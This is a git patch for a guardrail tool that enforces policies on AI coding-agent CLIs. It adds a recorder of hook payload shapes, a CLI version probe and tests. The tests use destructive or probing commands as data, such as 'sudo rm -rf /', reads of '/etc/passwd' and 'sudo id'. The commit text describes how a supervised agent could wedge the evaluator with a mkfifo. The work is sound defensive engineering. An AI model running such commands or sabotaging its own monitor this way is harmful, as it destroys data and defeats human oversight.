From face5a760631d107e5459bf5472e8d23abb8ad3c Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Mon, 17 Aug 2026 20:11:15 +0530 Subject: [PATCH 01/18] Record what the agent CLIs actually send, per CLI and per hook MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Every policy we enforce depends on a hand-written translation of some vendor's payload — COPILOT_TOOL_INPUT_MAP and its ten siblings — each verified live against one version of one CLI, with nothing since re-checking them. When Copilot 1.0.71 renamed file_path to path, block-env-files went inert on a live .env read and the product went on reporting success. The warm worker now unions the key names it sees into a bounded table at ~/.failproofai/contracts/observed.json, alongside a ` --version` resolved off the hook path. Comparing that against what our maps expect is deliberately NOT part of this — there is no ground truth to compare against yet, and this is it. Four properties are load-bearing, each tested. The recorder is entirely synchronous: the worker path has no unhandledRejection handler and Node kills the process on one, which on a daemon-configured machine denies the tool call in flight. It writes when it LEARNS something, not on a clock — "accumulate and write daily" is broken on this machine, because the daemon SIGKILLs the worker, so every generation after the first would load a file too recent to trigger a write, accumulate, and die, discarding everything forever while looking healthy. It reads the file defensively, because that path is writable by the agent we supervise: a mkfifo there would block the serialized chain forever, deny every tool call across all twelve CLIs, survive restarts, and evade the wedge watchdog, since a blocked event loop cannot run it. And it is bounded in bytes, not only in entry counts, because tool and key names come from MCP servers whose length and number are outside our control. The call site is guarded by its own try/catch inside the enqueue callback: above that try a throw writes no frame and the client fail-closed denies after its full 30s budget; inside the outer one it answers {type:"error"}, which daemon-client.ts treats identically to an unreachable daemon. That guard is proven by deleting it — without it, four of the five worker-safety cases fail. The version probe carries dirname(process.execPath) on the child's PATH. Found by running this on a real daemon rather than in a container: failproofaid is a system-scope service whose PATH never sees a login shell, so the machine where all three work from a shell — and an earlier first-line fallback filed the resulting error text AS the version. Output with no version-shaped token is now simply no version; a wrong version is worse than a missing one. Two test-isolation regressions this created are fixed here too: the unit suite and cargo test both drove the real hook path without an isolated home, so they recorded into the developer's own ~/.failproofai and forked whatever agent CLIs were installed. Co-Authored-By: Claude Opus 5 (1M context) --- CHANGELOG.md | 10 + __tests__/hooks/cli-version-probe.test.ts | 211 +++++++ .../contract-observer-worker-safety.test.ts | 174 ++++++ __tests__/hooks/contract-observer.test.ts | 433 +++++++++++++++ __tests__/hooks/worker-request-shape.test.ts | 6 + crates/failproofaid/src/server.rs | 14 +- src/hooks/cli-version-probe.ts | 304 ++++++++++ src/hooks/contract-observer.ts | 518 ++++++++++++++++++ src/hooks/fp-home.ts | 17 + src/hooks/worker-server.ts | 14 + 10 files changed, 1700 insertions(+), 1 deletion(-) create mode 100644 __tests__/hooks/cli-version-probe.test.ts create mode 100644 __tests__/hooks/contract-observer-worker-safety.test.ts create mode 100644 __tests__/hooks/contract-observer.test.ts create mode 100644 src/hooks/cli-version-probe.ts create mode 100644 src/hooks/contract-observer.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 8446c95b4..3db61b9e9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -26,6 +26,16 @@ - Give the nightly translation a voice when it fails, and a pulse when it does not run. It posted nothing by design — the reasoning being that its output is the pull request — which held for both success shapes and failed for the third: a run that dies also leaves no PR, so failing and idling produced the identical signal, none. Between 2026-08-11 and 2026-08-17 it opened nothing while 28 pages sat missing from 14 locales, and what noticed was a finding in the weekly docs audit rather than the job itself. Failure now posts to the same Slack webhook the other two jobs use, naming the step and carrying the log tail; success stays quiet, because a nightly "all good" is noise. Every exit also writes `last-run.json` into the work dir, and the weekly docs audit reports its AGE — the one failure no error handler can catch is the job never starting, and only a file's age can see that from outside. (#705) +- Record what the agent CLIs actually send, per CLI and per hook, in `~/.failproofai/contracts/observed.json`. Every policy we enforce depends on a hand-written translation of some vendor's payload — `COPILOT_TOOL_INPUT_MAP` and its ten siblings — each verified live against one version of one CLI, with nothing since re-checking them; when Copilot 1.0.71 renamed `file_path` to `path`, `block-env-files` went inert on a live `.env` read and the product went on reporting success. The warm worker now unions the key names it sees into a bounded table, alongside a ` --version` resolved off the hook path. Comparing that against what our maps expect is deliberately NOT part of this — there is no ground truth to compare against yet, and this is it. + + Four properties are load-bearing and each is tested. The recorder is **entirely synchronous**: the worker path has no `unhandledRejection` handler and Node kills the process on one, which on a daemon-configured machine denies the tool call in flight. It **writes when it learns something, not on a clock** — the obvious "accumulate and write daily" design is broken on exactly this machine, because the daemon SIGKILLs the worker, so every generation after the first would load a file too recent to trigger a write, accumulate, and die, discarding everything forever while looking healthy; in steady state it now writes nothing at all. It **reads the file defensively**, because that path is writable by the agent we supervise: a `mkfifo` there would otherwise block the serialized chain forever, deny every tool call across all twelve CLIs, survive restarts, and evade the wedge watchdog, since a blocked event loop cannot run it. And it is **bounded in bytes, not only in entry counts**, because tool and key names come from MCP servers whose length and number are outside our control. + + The call site is guarded by its own `try/catch` inside the enqueue callback — above that `try` a throw writes no frame and the client fail-closed denies after its full 30s budget, and inside the outer one it answers `{type:"error"}`, which `daemon-client.ts` treats identically to an unreachable daemon. That guard is proven by deleting it: without it, four of the five worker-safety cases fail. The vendor's tool name is recorded and is the one value in the file — stated plainly rather than claimed otherwise, because a rename like `Execute → Run` is drift worth seeing. (#PR) + +- Give the version probe a PATH that can resolve `#!/usr/bin/env node`, and stop it recording a failure as an answer. Both were found by running the finished feature on a real daemon rather than in a container. `failproofaid` is a system-scope service, so its PATH is built without ever reading a login shell — `/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin` on a normal box, and nvm's node is on none of them. codex, copilot and pi are npm shims with exactly that shebang, so all three failed to start at all on a machine where they work perfectly from a shell, and the probe filed `/usr/bin/env: 'node': No such file or directory` **as the version**, because an earlier first-line fallback preferred recording something eyeball-able to recording nothing. The child now inherits `dirname(process.execPath)` on PATH — the node already executing the worker, which by construction exists, and the same fix the installed service unit already applies to the worker command — and output with no version-shaped token is now simply no version. A wrong version is worse than a missing one: it is the claim-that-outlives-its-evidence this feature exists to catch. (#PR) + +## 1.0.1-beta.1 — 2026-08-16 + ### Fixes - **Stop the dashboard server's telemetry from stranding its own events, and stop it printing `Error while flushing PostHog` while doing it.** Four options on the `posthog-node` client each disabled a different part of the library's delivery machinery, and together they turned a slow network into lost events plus a stack trace in the user's terminal — the one `failproofai audit` starts, where `launch()`'s log filter only strips the Server Action skew block. The injected `resilientFetch` was the root of it: it retried five times over ~40s and then returned a synthetic `200` so the library would never log a network error, but posthog-node does not merely hand its abort signal to an injected fetch, it **races that fetch against its own `requestTimeout`** (`Promise.race([fetchPromise, deadline])`) precisely because an injected fetch may ignore the signal — which ours did, by stripping it. A ~40s budget racing a 5s deadline can never return in time, so the synthetic `200` was unreachable code, the `console.error` it existed to prevent fired anyway at 5s, and the retries ran on detached from a client that had already given up. Worse, that `200` was the wrong answer even when it did land: posthog-node deliberately does NOT dequeue a batch that failed with a network error, so reporting success is what would have made it discard events that never arrived. The wrapper is gone; plain global fetch is what the library expects. `fetchRetryCount` was `0`, leaving that wrapper as the only thing retrying, at the wrong layer — the library retries inside a single flush, knows which errors are retryable, and keeps its queue coherent while doing it. `requestTimeout` was `5000`, half the library's own default, so every attempt had half the room. And `flushInterval` was `0`, which is falsy and therefore disables the flush timer outright — that is the one that actually stranded events, because the batch posthog-node retains after a network error then had nothing scheduled to resend it and sat in an in-memory queue (`PostHogMemoryStorage`, so nothing survives the process) until some unrelated later event happened to trigger a flush. `flushAt: 1` is unchanged and deliberate: volume is a handful of events per process, batching buys nothing, and sending immediately is the best defense a memory-only queue has against the process dying. Measured against a server that answers correctly but takes 6s — a slow network, not an outage — the old options delivered the event **four times** and logged two flush errors, because the wrapper re-POSTed the same batch on each of its own retries while the library still held its retained copy; the new ones deliver it **once**, with nothing logged. The exit drain is now idempotent, since `beforeExit` re-fires every time a handler schedules async work and an unguarded one started a fresh 30s `shutdown()` on each pass. **No event, trigger or property changed** — all 73 call sites across the three dispatchers fire exactly as before. (#701) diff --git a/__tests__/hooks/cli-version-probe.test.ts b/__tests__/hooks/cli-version-probe.test.ts new file mode 100644 index 000000000..85952d66c --- /dev/null +++ b/__tests__/hooks/cli-version-probe.test.ts @@ -0,0 +1,211 @@ +// @vitest-environment node +/** + * The version probe runs from inside the warm worker, so the assertions that + * matter are about what it refuses to do: throw, reject, or hand back a string + * that only looks like a version. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { chmodSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { delimiter, join } from "node:path"; +import { parseCliVersionOutput, probeCliVersion, resolveCliBinary } from "../../src/hooks/cli-version-probe"; + +describe("parseCliVersionOutput", () => { + it("reads the plain shapes the vendors actually print", () => { + // Every string here was captured from a live `--version` on a real machine. + expect(parseCliVersionOutput("1.43.0\n")).toBe("1.43.0"); + expect(parseCliVersionOutput("0.147.0\n")).toBe("0.147.0"); + expect(parseCliVersionOutput("3000.4.25\n")).toBe("3000.4.25"); + expect(parseCliVersionOutput("2026.08.11-e8db854\n")).toBe("2026.08.11-e8db854"); + }); + + it("strips the sentence punctuation Copilot prints after its version", () => { + // `GitHub Copilot CLI 1.0.80.` — the trailing dot is prose, and keeping it + // would make every comparison against a real version string fail. + expect(parseCliVersionOutput("GitHub Copilot CLI 1.0.80.\nRun 'copilot update'...\n")).toBe("1.0.80"); + }); + + it("ignores everything after the first non-empty line", () => { + expect(parseCliVersionOutput("\n\n droid 0.175.1 \nsome banner\n2.0.0\n")).toBe("0.175.1"); + }); + + it("keeps a prerelease suffix intact", () => { + expect(parseCliVersionOutput("1.0.1-beta.2\n")).toBe("1.0.1-beta.2"); + }); + + it("returns null rather than an empty string for output with no version", () => { + expect(parseCliVersionOutput("")).toBeNull(); + expect(parseCliVersionOutput("\n \n")).toBeNull(); + }); + + it("returns null rather than dressing a failure up as a version", () => { + // Observed live: the daemon's PATH could not resolve the `#!/usr/bin/env + // node` shebang of three npm-installed CLIs, and an earlier first-line + // fallback recorded the error text as the version. A wrong version is + // worse than a missing one. + expect(parseCliVersionOutput("/usr/bin/env: \u2018node\u2019: No such file or directory\n")).toBeNull(); + expect(parseCliVersionOutput("command not found\n")).toBeNull(); + expect(parseCliVersionOutput("nightly\n")).toBeNull(); + }); + + it("bounds what it will record", () => { + expect(parseCliVersionOutput(`1.${"9".repeat(200)}\n`)?.length).toBe(64); + }); +}); + +describe("resolveCliBinary", () => { + it("returns null for a CLI it does not know", () => { + expect(resolveCliBinary("not-a-real-cli")).toBeNull(); + expect(resolveCliBinary("")).toBeNull(); + }); +}); + +describe("probeCliVersion", () => { + it("calls back with null for an unknown CLI instead of throwing", async () => { + const result = await new Promise((resolve) => { + expect(() => probeCliVersion("not-a-real-cli", resolve)).not.toThrow(); + }); + expect(result).toBeNull(); + }); + + it("survives a callback that throws", async () => { + // The callback runs on the event loop; an escaping throw there would be an + // uncaught exception, which kills the worker. + let ran = false; + expect(() => + probeCliVersion("not-a-real-cli", () => { + ran = true; + throw new Error("caller blew up"); + }), + ).not.toThrow(); + expect(ran).toBe(true); + }); + + it("calls back exactly once", async () => { + let calls = 0; + await new Promise((resolve) => { + probeCliVersion("not-a-real-cli", () => { + calls++; + resolve(); + }); + }); + await new Promise((r) => setTimeout(r, 50)); + expect(calls).toBe(1); + }); +}); + +/** + * These actually fork. Everything above proves only the no-binary path, and the + * mechanisms that matter here — the deadline, the SIGKILL escalation, the + * once-only latch across `exit` AND `close` — live entirely in the spawn path. + * Without these the whole file could be deleted with a green suite. + */ +describe("probeCliVersion: the spawn path", () => { + let binDir: string; + let originalPath: string | undefined; + + /** Plant an executable under a name the probe looks for, first on PATH. */ + function plant(name: string, script: string): void { + const path = join(binDir, name); + writeFileSync(path, `#!/bin/sh\n${script}\n`, { mode: 0o755 }); + chmodSync(path, 0o755); + } + + function probe(cli: string): Promise { + return new Promise((resolve) => probeCliVersion(cli, resolve)); + } + + beforeEach(() => { + binDir = mkdtempSync(join(tmpdir(), "fpai-probe-bin-")); + originalPath = process.env.PATH; + process.env.PATH = `${binDir}${delimiter}${originalPath ?? ""}`; + }); + + afterEach(() => { + if (originalPath === undefined) delete process.env.PATH; + else process.env.PATH = originalPath; + rmSync(binDir, { recursive: true, force: true }); + }); + + it("reads a version off stdout", async () => { + plant("goose", 'echo "1.43.0"'); + expect(await probe("goose")).toBe("1.43.0"); + }); + + it("reads a version a vendor prints to stderr", async () => { + // Recording nothing for those would be indistinguishable from "not installed". + plant("goose", 'echo "2.0.0" >&2'); + expect(await probe("goose")).toBe("2.0.0"); + }); + + it("still reads the version when the binary exits non-zero", async () => { + plant("goose", 'echo "3.1.4"; exit 3'); + expect(await probe("goose")).toBe("3.1.4"); + }); + + it("returns null for a binary that prints nothing", async () => { + plant("goose", "exit 0"); + expect(await probe("goose")).toBeNull(); + }); + + it("settles even when the binary ignores SIGTERM", async () => { + // spawn's own `timeout` sends one SIGTERM and never escalates, so a child + // that traps it is never reaped, `close` never fires, and the caller's + // in-flight latch sticks for the life of the worker. SIGKILL cannot be + // trapped, which is why the deadline sends it. + plant("goose", 'trap "" TERM; echo "9.9.9"; sleep 30'); + process.env.FAILPROOFAI_PROBE_TIMEOUT_MS = "1000"; + const started = Date.now(); + const version = await probe("goose"); + expect(Date.now() - started).toBeLessThan(6000); + expect(version).toBe("9.9.9"); + delete process.env.FAILPROOFAI_PROBE_TIMEOUT_MS; + }, 15_000); + + it("calls back exactly once even though both exit and close fire", async () => { + plant("goose", 'echo "1.2.3"'); + let calls = 0; + await new Promise((resolve) => { + probeCliVersion("goose", () => { + calls++; + resolve(); + }); + }); + await new Promise((r) => setTimeout(r, 300)); + expect(calls).toBe(1); + }); + + it("walks past a directory that happens to have the right name", () => { + // `existsSync` says yes to a directory, so resolution used to stop there — + // which would leave a genuinely installed CLI permanently unprobeable + // behind a same-named decoy earlier on PATH. Asserted as "not the decoy" + // rather than "null", so the test holds whether or not this machine has a + // real goose further down PATH. + const decoy = join(binDir, "goose"); + mkdirSync(decoy); + expect(resolveCliBinary("goose")).not.toBe(decoy); + }); + + it("can run an npm-style `#!/usr/bin/env node` shim even with node off PATH", () => { + // The daemon is a system service whose PATH has no nvm dir, so this + // shebang fails and the CLI never runs — observed live for codex, copilot + // and pi on a machine where all three work fine from a shell. + plant("goose", ""); + writeFileSync( + join(binDir, "goose"), + '#!/usr/bin/env node\nconsole.log("5.5.5");\n', + { mode: 0o755 }, + ); + chmodSync(join(binDir, "goose"), 0o755); + // A PATH with neither node nor anything else useful on it. + process.env.PATH = binDir; + return probe("goose").then((v) => expect(v).toBe("5.5.5")); + }, 15_000); + + it("walks past a non-executable file with the right name", () => { + const decoy = join(binDir, "goose"); + writeFileSync(decoy, "#!/bin/sh\necho 0.0.0\n", { mode: 0o644 }); + chmodSync(decoy, 0o644); + expect(resolveCliBinary("goose")).not.toBe(decoy); + }); +}); diff --git a/__tests__/hooks/contract-observer-worker-safety.test.ts b/__tests__/hooks/contract-observer-worker-safety.test.ts new file mode 100644 index 000000000..cf62c503c --- /dev/null +++ b/__tests__/hooks/contract-observer-worker-safety.test.ts @@ -0,0 +1,174 @@ +// @vitest-environment node +/** + * The one property that makes the contract observer safe to ship. + * + * It runs inside the warm worker's serialized chain on a daemon-configured + * machine, where the daemon is the ONLY evaluator and every way of not getting + * an answer is a deny. So a bug in a diagnostic could deny real tool calls + * across all twelve CLIs. Three distinct failure shapes were reachable, and the + * guard in `worker-server.ts` has to cover all of them: + * + * - a throw ABOVE the enqueue callback's `try` writes NO frame at all, and the + * client burns its full 30s budget before failing closed; + * - a throw INSIDE that `try` reaches the outer catch, which answers + * `{type:"error"}` — and `daemon-client.ts` treats that identically to an + * unreachable daemon, i.e. deny; + * - so the call needs its own catch, which is what this asserts. + * + * The fault is injected through an environment variable read inside the shipped + * function rather than through `vi.spyOn`, because a spy only patches the module + * graph of whichever process evaluates the assertion. The same test written with + * a spy would pass against a build with the guard deleted. + */ +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import { createConnection, type Socket, type Server } from "node:net"; +import { mkdtempSync, rmSync, writeFileSync, mkdirSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +vi.mock("../../src/hooks/hook-telemetry", () => ({ + trackHookEvent: vi.fn(() => Promise.resolve()), + flushHookTelemetry: vi.fn(() => Promise.resolve()), +})); + +function encodeFrame(value: unknown): Buffer { + const body = Buffer.from(JSON.stringify(value), "utf8"); + const header = Buffer.alloc(4); + header.writeUInt32BE(body.length, 0); + return Buffer.concat([header, body]); +} + +function readFrame(socket: Socket): Promise> { + return new Promise((resolvePromise, reject) => { + let buf = Buffer.alloc(0); + let declaredLen: number | null = null; + const onData = (chunk: Buffer) => { + buf = Buffer.concat([buf, chunk]); + if (declaredLen === null) { + if (buf.length < 4) return; + declaredLen = buf.readUInt32BE(0); + buf = buf.subarray(4); + } + if (buf.length < declaredLen) return; + socket.off("data", onData); + resolvePromise(JSON.parse(buf.subarray(0, declaredLen).toString("utf8"))); + }; + socket.on("data", onData); + socket.on("error", reject); + }); +} + +function sendRequest(socketPath: string, request: unknown): Promise> { + return new Promise((resolvePromise, reject) => { + const socket = createConnection({ path: socketPath }, () => { + socket.write(encodeFrame(request)); + }); + readFrame(socket) + .then((msg) => { + socket.end(); + resolvePromise(msg); + }) + .catch(reject); + socket.on("error", reject); + }); +} + +describe("contract-observer cannot change a verdict", () => { + let projectDir: string; + let homeDir: string; + let socketPath: string; + let server: Server; + + beforeEach(async () => { + projectDir = mkdtempSync(join(tmpdir(), "fpai-observer-safety-")); + homeDir = mkdtempSync(join(tmpdir(), "fpai-observer-safety-home-")); + process.env.FAILPROOFAI_HOME = homeDir; + process.env.FAILPROOFAI_OBSERVE_VERSIONS = "0"; + mkdirSync(join(projectDir, ".failproofai"), { recursive: true }); + writeFileSync( + join(projectDir, ".failproofai", "policies-config.json"), + JSON.stringify({ enabledPolicies: ["block-sudo"] }), + ); + + socketPath = join(tmpdir(), `fpai-observer-safety-${process.pid}-${Date.now()}.sock`); + const { startWorkerServer } = await import("../../src/hooks/worker-server"); + server = startWorkerServer(socketPath); + await new Promise((r) => { + if (server.listening) r(); + else server.once("listening", () => r()); + }); + }); + + afterEach(async () => { + await new Promise((r) => server.close(() => r())); + delete process.env.FAILPROOFAI_HOME; + delete process.env.FAILPROOFAI_OBSERVE_VERSIONS; + delete process.env.FAILPROOFAI_OBSERVE_FAULT; + rmSync(projectDir, { recursive: true, force: true }); + rmSync(homeDir, { recursive: true, force: true }); + }); + + const DENY = { + type: "hook", + hookEvent: "PreToolUse", + cli: "claude", + stdin: JSON.stringify({ tool_name: "Bash", tool_input: { command: "sudo rm -rf /" } }), + }; + + const ALLOW = { + type: "hook", + hookEvent: "PreToolUse", + cli: "claude", + stdin: JSON.stringify({ tool_name: "Bash", tool_input: { command: "ls -la" } }), + }; + + for (const [name, request] of [ + ["a denied call", DENY], + ["an allowed call", ALLOW], + ] as const) { + it(`answers ${name} byte-identically whether or not the observer throws`, async () => { + const clean = await sendRequest(socketPath, { ...request, cwd: projectDir }); + + process.env.FAILPROOFAI_OBSERVE_FAULT = "throw"; + const faulted = await sendRequest(socketPath, { ...request, cwd: projectDir }); + delete process.env.FAILPROOFAI_OBSERVE_FAULT; + + expect(faulted.type).toBe("hookResult"); + expect(faulted.exitCode).toBe(clean.exitCode); + expect(faulted.stdout).toBe(clean.stdout); + expect(faulted.stderr).toBe(clean.stderr); + }); + } + + it("still enforces the deny while the observer is throwing on every event", async () => { + // Byte-identity alone would also be satisfied if BOTH runs failed open, so + // assert the deny is really there. + process.env.FAILPROOFAI_OBSERVE_FAULT = "throw"; + const response = await sendRequest(socketPath, { ...DENY, cwd: projectDir }); + const stdout = typeof response.stdout === "string" ? response.stdout : ""; + const parsed = JSON.parse(stdout) as { hookSpecificOutput?: { permissionDecision?: string } }; + expect(parsed.hookSpecificOutput?.permissionDecision).toBe("deny"); + }); + + it("keeps answering after the observer has thrown many times", async () => { + // A guard that leaks a rejected promise would take the process out on the + // first event, not the tenth — but a leak that only fires under repetition + // (an unhandled rejection queued per call) would still be caught here. + process.env.FAILPROOFAI_OBSERVE_FAULT = "throw"; + for (let i = 0; i < 10; i++) { + const response = await sendRequest(socketPath, { ...ALLOW, cwd: projectDir }); + expect(response.type).toBe("hookResult"); + } + }); + + it("records the shape on the happy path, proving the call site is live", async () => { + // Without this the byte-identity assertions above would still pass on a + // build where the observer call was never wired in at all. + const { contractTableSnapshot, resetContractObserverForTests } = await import( + "../../src/hooks/contract-observer" + ); + resetContractObserverForTests(); + await sendRequest(socketPath, { ...ALLOW, cwd: projectDir }); + expect(contractTableSnapshot().clis.claude?.hooks?.PreToolUse?.tools?.Bash).toEqual(["command"]); + }); +}); diff --git a/__tests__/hooks/contract-observer.test.ts b/__tests__/hooks/contract-observer.test.ts new file mode 100644 index 000000000..0f313d8fc --- /dev/null +++ b/__tests__/hooks/contract-observer.test.ts @@ -0,0 +1,433 @@ +// @vitest-environment node +/** + * The contract observer records what the agent CLIs really send. It runs inside + * the warm worker's serialized chain, on a machine where every way of not + * getting an answer is a DENY — so most of what is asserted here is about what + * it must NOT do: not throw, not block, not record a field value, not grow + * without bound, and not go quiet on a machine whose worker is SIGKILLed more + * often than the write floor. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { + mkdtempSync, + rmSync, + readFileSync, + writeFileSync, + mkdirSync, + existsSync, + statSync, + chmodSync, +} from "node:fs"; +import { execFileSync } from "node:child_process"; +import { tmpdir } from "node:os"; +import { delimiter, dirname, join } from "node:path"; +import { + recordHookShape, + flushContractTable, + contractTableSnapshot, + resetContractObserverForTests, + type ContractTable, +} from "../../src/hooks/contract-observer"; +import { contractTableFile } from "../../src/hooks/fp-home"; + +let homeDir: string; + +function readTable(): ContractTable { + return JSON.parse(readFileSync(contractTableFile(), "utf8")) as ContractTable; +} + +function record(cli: string, hook: string, payload: unknown): void { + recordHookShape(cli, hook, JSON.stringify(payload)); +} + +/** Simulate the worker being SIGKILLed and respawned: memory gone, disk kept. */ +function restartWorker(): void { + resetContractObserverForTests(); +} + +beforeEach(() => { + homeDir = mkdtempSync(join(tmpdir(), "fpai-contract-observer-")); + process.env.FAILPROOFAI_HOME = homeDir; + // Write as soon as anything is learned, so assertions do not wait. + process.env.FAILPROOFAI_OBSERVE_INTERVAL_MS = "0"; + // Never fork a real vendor CLI from a unit test. + process.env.FAILPROOFAI_OBSERVE_VERSIONS = "0"; + resetContractObserverForTests(); +}); + +afterEach(() => { + delete process.env.FAILPROOFAI_HOME; + delete process.env.FAILPROOFAI_OBSERVE_INTERVAL_MS; + delete process.env.FAILPROOFAI_OBSERVE_VERSIONS; + delete process.env.FAILPROOFAI_OBSERVE_FAULT; + resetContractObserverForTests(); + rmSync(homeDir, { recursive: true, force: true }); +}); + +describe("contract-observer: what it records", () => { + it("records the envelope and the tool input keys, per CLI and per hook", () => { + record("copilot", "PreToolUse", { + cwd: "/repo", + session_id: "s1", + tool_name: "Read", + tool_input: { path: "/etc/passwd" }, + }); + + const hook = readTable().clis.copilot.hooks.PreToolUse; + expect(hook.envelope).toEqual(["cwd", "session_id", "tool_input", "tool_name"]); + expect(hook.tools?.Read).toEqual(["path"]); + }); + + it("keeps hooks separate, including a non-tool event with no tools at all", () => { + record("copilot", "PreToolUse", { tool_name: "Bash", tool_input: { command: "ls" } }); + record("copilot", "Stop", { session_id: "s1", stop_hook_active: false }); + + const hooks = readTable().clis.copilot.hooks; + expect(hooks.PreToolUse.tools?.Bash).toEqual(["command"]); + expect(hooks.Stop.envelope).toEqual(["session_id", "stop_hook_active"]); + expect(hooks.Stop.tools).toBeUndefined(); + }); + + it("reads Antigravity's nested toolCall envelope", () => { + record("antigravity", "PreToolUse", { + conversationId: "c1", + toolCall: { name: "run_command", args: { CommandLine: "ls", Cwd: "/repo" } }, + }); + + expect(readTable().clis.antigravity.hooks.PreToolUse.tools?.run_command).toEqual([ + "CommandLine", + "Cwd", + ]); + }); + + it("reads Copilot's camelCase permissionRequest envelope", () => { + record("copilot", "permissionRequest", { + hookName: "permissionRequest", + toolName: "bash", + toolInput: { command: "sudo id" }, + }); + + const hook = readTable().clis.copilot.hooks.permissionRequest; + expect(hook.envelope).toEqual(["hookName", "toolInput", "toolName"]); + expect(hook.tools?.bash).toEqual(["command"]); + }); + + it("unions optional keys instead of overwriting, so the shape does not flicker", () => { + // `description` is optional on Bash. Overwriting with the latest payload + // would make the recorded shape depend on whichever call landed last, and + // every alternation would read as drift. + record("claude", "PreToolUse", { tool_name: "Bash", tool_input: { command: "ls", description: "d" } }); + record("claude", "PreToolUse", { tool_name: "Bash", tool_input: { command: "pwd" } }); + + expect(readTable().clis.claude.hooks.PreToolUse.tools?.Bash).toEqual(["command", "description"]); + }); + + it("surfaces a renamed key as a NEW entry alongside the old one", () => { + record("copilot", "PreToolUse", { tool_name: "Read", tool_input: { path: "/a" } }); + record("copilot", "PreToolUse", { tool_name: "Read", tool_input: { filepath: "/a" } }); + + // This is the whole point of the file: the vendor's rename is legible. + expect(readTable().clis.copilot.hooks.PreToolUse.tools?.Read).toEqual(["filepath", "path"]); + }); +}); + +describe("contract-observer: values", () => { + it("keeps no FIELD value from any position in the payload", () => { + const SENTINEL = "zzsecretsentinelzz"; + record("claude", "PreToolUse", { + cwd: SENTINEL, + session_id: SENTINEL, + tool_name: "Bash", + tool_input: { command: `echo ${SENTINEL}`, nested: { deep: SENTINEL } }, + transcript_path: SENTINEL, + }); + + expect(readFileSync(contractTableFile(), "utf8")).not.toContain(SENTINEL); + }); + + it("records a nested object's key but never descends into it", () => { + record("claude", "PreToolUse", { + tool_name: "Bash", + tool_input: { command: "ls", opts: { secretKeyName: 1 } }, + }); + + const raw = readFileSync(contractTableFile(), "utf8"); + expect(raw).toContain("opts"); + expect(raw).not.toContain("secretKeyName"); + }); + + it("DOES record the vendor's tool name, which is a value — deliberately, and capped", () => { + // The module's header says so out loud rather than claiming a guarantee it + // does not have. A rename like `Execute` -> `Run` is drift we need to see, + // so the tool name is kept; MCP tool names can carry an org's vocabulary, + // which is the one thing a reader should weigh before pasting the file. + record("claude", "PreToolUse", { tool_name: "mcp__acme__deploy", tool_input: { a: 1 } }); + expect(readFileSync(contractTableFile(), "utf8")).toContain("mcp__acme__deploy"); + }); + + it("refuses an over-long tool name rather than storing it whole", () => { + record("claude", "PreToolUse", { tool_name: "x".repeat(500), tool_input: { a: 1 } }); + expect(readTable().clis.claude.hooks.PreToolUse.tools).toBeUndefined(); + expect(readFileSync(contractTableFile(), "utf8").length).toBeLessThan(1000); + }); + + it("refuses an over-long key name", () => { + record("claude", "PreToolUse", { tool_name: "Bash", tool_input: { ["k".repeat(500)]: 1, ok: 2 } }); + expect(readTable().clis.claude.hooks.PreToolUse.tools?.Bash).toEqual(["ok"]); + }); +}); + +describe("contract-observer: persistence across a SIGKILLed worker", () => { + it("merges into what is already on disk rather than replacing it", () => { + record("goose", "PreToolUse", { tool_name: "shell", tool_input: { command: "ls" } }); + restartWorker(); + record("goose", "SessionStart", { session_id: "s2", working_dir: "/repo" }); + + const hooks = readTable().clis.goose.hooks; + expect(Object.keys(hooks).sort()).toEqual(["PreToolUse", "SessionStart"]); + expect(hooks.PreToolUse.tools?.shell).toEqual(["command"]); + }); + + it("keeps writing after the first write, on a worker that restarts often", () => { + // THE bug a daily write cadence has on this machine. The worker is + // SIGKILLed, so there is no shutdown flush; if the write clock were a + // fixed period since the file's own timestamp, every generation after the + // first would load a file too recent to trigger a write, accumulate, and + // die — discarding everything, forever, while looking healthy. + process.env.FAILPROOFAI_OBSERVE_INTERVAL_MS = "0"; + record("claude", "PreToolUse", { tool_name: "Bash", tool_input: { command: "ls" } }); + expect(readTable().clis.claude.hooks.PreToolUse.tools?.Bash).toBeDefined(); + + for (let generation = 0; generation < 5; generation++) { + restartWorker(); + record("claude", "PreToolUse", { tool_name: `Tool${generation}`, tool_input: { a: 1 } }); + expect(readTable().clis.claude.hooks.PreToolUse.tools?.[`Tool${generation}`]).toEqual(["a"]); + } + }); + + it("writes nothing at all when nothing new is observed", () => { + record("claude", "PreToolUse", { tool_name: "Bash", tool_input: { command: "ls" } }); + const firstWrite = readTable().updatedAt; + + // Same shape a thousand times over: nothing was learned, so nothing is written. + for (let i = 0; i < 50; i++) { + record("claude", "PreToolUse", { tool_name: "Bash", tool_input: { command: "pwd" } }); + } + expect(readTable().updatedAt).toBe(firstWrite); + }); + + it("holds a change back until the write floor has elapsed", () => { + record("claude", "PreToolUse", { tool_name: "Bash", tool_input: { command: "ls" } }); + const firstWrite = readTable().updatedAt; + + process.env.FAILPROOFAI_OBSERVE_INTERVAL_MS = String(60 * 60 * 1000); + record("claude", "PreToolUse", { tool_name: "Grep", tool_input: { pattern: "x" } }); + + expect(readTable().updatedAt).toBe(firstWrite); + expect(readTable().clis.claude.hooks.PreToolUse.tools?.Grep).toBeUndefined(); + // Held in memory, not lost. + expect(contractTableSnapshot().clis.claude.hooks.PreToolUse.tools?.Grep).toEqual(["pattern"]); + }); + + it("is not disabled forever by a future-dated updatedAt", () => { + // Clock skew or a hand edit would otherwise park the write clock in the + // future and silently switch the writer off with no way back. + record("claude", "PreToolUse", { tool_name: "Bash", tool_input: { command: "ls" } }); + const table = readTable(); + table.updatedAt = new Date(Date.now() + 10 * 365 * 24 * 60 * 60 * 1000).toISOString(); + writeFileSync(contractTableFile(), JSON.stringify(table)); + + restartWorker(); + record("claude", "PreToolUse", { tool_name: "Grep", tool_input: { pattern: "x" } }); + expect(readTable().clis.claude.hooks.PreToolUse.tools?.Grep).toEqual(["pattern"]); + }); + + it("starts clean from a corrupt table instead of throwing", () => { + 